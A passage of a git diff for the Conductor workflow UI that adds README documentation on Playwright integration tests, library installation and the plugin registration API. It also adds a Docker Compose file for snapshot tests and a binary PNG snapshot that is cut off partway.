subsequent runs fast (~30s) unless server-side code has changed +2. Starts Postgres + the Conductor server via Docker Compose + (`docker/docker-compose-ui-e2e.yaml`) and waits up to 4 minutes for the + backend `/health` endpoint to respond +3. Builds the UI (`pnpm build`) with `VITE_WF_SERVER=http://localhost:8000` +4. Starts `vite preview` to serve the production bundle on port 1234, with + its `/api` proxy forwarding to the Docker backend +5. Runs the Playwright test suite against `http://localhost:1234` +6. Stops the Docker stack when the tests finish + +**Common options** + +```bash +# Interactive Playwright UI — step through tests visually, great for debugging +pnpm test:e2e:integration:ui + +# Watch the browser execute the tests in real time +pnpm test:e2e:integration:headed + +# Run a single spec file +pnpm test:e2e:integration e2e/integration/workflows.spec.ts + +# Run tests whose name matches a pattern +pnpm test:e2e:integration --grep "appears in the" + +# Skip Docker management if you already have a Conductor backend running +# on port 8000 (e.g. started with docker compose separately) +SKIP_DOCKER=true pnpm test:e2e:integration + +# Keep the Docker stack running after the tests finish (faster re-runs) +SKIP_DOCKER_TEARDOWN=true pnpm test:e2e:integration + +# Point the tests at a backend running on a non-default URL +CONDUCTOR_SERVER_URL=http://localhost:9000 pnpm test:e2e:integration +``` + +**Faster iteration after the first run** + +On subsequent runs, if you keep the Docker stack alive with +`SKIP_DOCKER_TEARDOWN=true`, you can skip the Docker startup wait on the next +run because the setup script detects the backend is already healthy: + +```bash +# First run — starts Docker, runs tests, leaves stack running +SKIP_DOCKER_TEARDOWN=true pnpm test:e2e:integration + +# Subsequent runs — backend already up, jumps straight to build + test +pnpm test:e2e:integration +``` + +To stop the stack manually when you are done: + +```bash +docker compose -p conductor-ui-e2e -f docker/docker-compose-ui-e2e.yaml down +``` + +#### Running integration tests in CI + +`pnpm test:e2e:integration` automatically builds the app and starts `vite preview` +before running the tests, so no explicit build step is needed in CI. + +```yaml +- name: Install Playwright browsers + run: pnpm exec playwright install --with-deps chromium + +- name: Run integration tests + # Global setup builds the conductor:server image automatically on first run. + # The Playwright webServer config then runs `pnpm build && pnpm preview`. + run: pnpm test:e2e:integration + +- name: Upload integration report + if: always() + uses: actions/upload-artifact@v4 + with: + name: playwright-integration-report + path: playwright-integration-report/ + retention-days: 7 +``` + +If you cache the Docker image between CI runs (e.g. using GitHub Actions +`docker/build-push-action` with `cache-to`/`cache-from`), the server build +step drops from ~10 minutes to ~30 seconds on cache hits. + +## Using as a library + +Install directly from a tagged release of this repository. The `&path:/ui-next` +argument tells the package manager to use the `ui-next/` subdirectory as the +package root: + +```bash +# pnpm (recommended) +pnpm add "conductor-oss/conductor#&path:/ui-next" + +# npm / yarn +npm install "conductor-oss/conductor#&path:/ui-next" +``` + +Or pin the version in `package.json`: + +```json +"conductor-ui": "conductor-oss/conductor#v1.0.0&path:/ui-next" +``` + +Replace `` / `v1.0.0` with the release tag you want to consume +(e.g. `v3.2.1`). Available tags: +https://github.com/conductor-oss/conductor/releases + +Import styles in your app entry point: + +```tsx +import "conductor-ui/styles.css"; // component styles +import "conductor-ui/global.css"; // global body/font styles (optional) +``` + +### Extending with plugins + +The plugin system lets you register additional routes, sidebar items, task forms, auth providers, and more without modifying the core package. + +```tsx +import { pluginRegistry, App } from "conductor-ui"; + +// Register a custom sidebar item +pluginRegistry.registerSidebarItem({ + position: { target: "root", after: "definitionsSubMenu" }, + item: { + id: "myFeature", + title: "My Feature", + icon: , + linkTo: "/my-feature", + shortcuts: [], + hidden: false, + position: 350, + }, +}); + +// Register a custom route +pluginRegistry.registerRoutes([ + { + path: "/my-feature", + element: , + }, +]); + +// Render the app +function Root() { + return ; +} +``` + +### Plugin extension points + +| Extension | Method | Description | +| --------------- | ------------------------------ | -------------------------------------------------- | +| Routes | `registerRoutes(routes)` | Add authenticated routes | +| Public routes | `registerPublicRoutes(routes)` | Add unauthenticated routes | +| Sidebar items | `registerSidebarItem(reg)` | Inject items into the sidebar | +| Task forms | `registerTaskForm(reg)` | Custom forms for task types in the workflow editor | +| Task menu items | `registerTaskMenuItem(reg)` | Add task types to the "Add Task" menu | +| Auth provider | `registerAuthProvider(reg)` | Replace the auth implementation | +| Search provider | `registerSearchProvider(reg)` | Add results to global search | + +### Sidebar item positioning + +Sidebar items use numeric positions so plugins can inject between core items without collisions. The core OSS positions are exported for reference: + +```tsx +import { CORE_SIDEBAR_POSITIONS } from "conductor-ui"; + +// CORE_SIDEBAR_POSITIONS.ROOT: +// executionsSubMenu: 100 +// runWorkflow: 200 +// definitionsSubMenu:300 +// helpMenu: 400 +// swaggerItem: 500 + +pluginRegistry.registerSidebarItem({ + position: { target: "root" }, + item: { + id: "myItem", + position: 350, // between definitionsSubMenu (300) and helpMenu (400) + // ... + }, +}); +``` + +## Project structure + +``` +src/ +├── components/ # Shared UI components +│ └── Sidebar/ # Sidebar with plugin-injectable menu +├── pages/ # Route-level page components +├── plugins/ # Plugin registry and fetch utilities +├── shared/ # Auth state machine and context +├── theme/ # MUI theme provider +├── types/ # Shared TypeScript types +└── utils/ # Feature flags, constants, helpers +public/ +├── context.js # Runtime config (gitignored, not bundled) +└── context.js.example +``` + +## Peer dependencies + +When consuming as a library, the following must be provided by the host app: + +- `react` ^18 +- `react-dom` ^18 +- `react-router` / `react-router-dom` ^7 +- `@mui/material`, `@mui/icons-material`, `@mui/system`, `@mui/x-date-pickers` +- `@emotion/react`, `@emotion/styled` diff --git a/ui-next/docker-compose.snapshots.yml b/ui-next/docker-compose.snapshots.yml new file mode 100644 index 0000000..11de109 --- /dev/null +++ b/ui-next/docker-compose.snapshots.yml @@ -0,0 +1,60 @@ +# Runs snapshot tests in a consistent Linux + Chromium environment so that +# baselines are pixel-identical across developer machines and CI. +# +# Usage (via package.json scripts): +# pnpm test:e2e:snapshots # run snapshot tests +# pnpm test:e2e:snapshots:update # regenerate baselines + +services: + app: + image: node:20-slim + working_dir: /app + volumes: + - .:/app + - app_modules:/app/node_modules + environment: + CI: "true" + npm_config_store_dir: /root/.pnpm-store + # Listen on all interfaces so the playwright service can reach it. + command: > + sh -c "corepack enable && + pnpm install --frozen-lockfile && + pnpm dev --host 0.0.0.0" + healthcheck: + test: + - CMD-SHELL + - > + node -e "require('http').get('http://localhost:1234', + r => process.exit(r.statusCode < 400 ? 0 : 1) + ).on('error', () => process.exit(1))" + interval: 5s + timeout: 5s + retries: 60 + start_period: 300s + + playwright: + image: mcr.microsoft.com/playwright:v1.60.0-noble + working_dir: /app + volumes: + - .:/app + - pw_modules:/app/node_modules + # Share the app container's network namespace so Playwright reaches the + # Vite dev server via http://localhost:1234 without cross-container DNS. + network_mode: "service:app" + depends_on: + app: + condition: service_healthy + environment: + CI: "true" + npm_config_store_dir: /root/.pnpm-store + BASE_URL: http://localhost:1234 + PLAYWRIGHT_FLAGS: ${PLAYWRIGHT_FLAGS:-} + # PLAYWRIGHT_FLAGS is set by the :update script to --update-snapshots. + command: > + sh -c "corepack enable && + pnpm install --frozen-lockfile && + pnpm exec playwright test --config playwright.snapshots.config.ts $${PLAYWRIGHT_FLAGS:-}" + +volumes: + app_modules: + pw_modules: diff --git a/ui-next/e2e/__snapshots__/snapshots.spec.ts/app-shell.png b/ui-next/e2e/__snapshots__/snapshots.spec.ts/app-shell.png new file mode 100644 index 0000000000000000000000000000000000000000..a2fd13b15408376f2984b81d9581cee3c632d363 GIT binary patch literal 86477 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 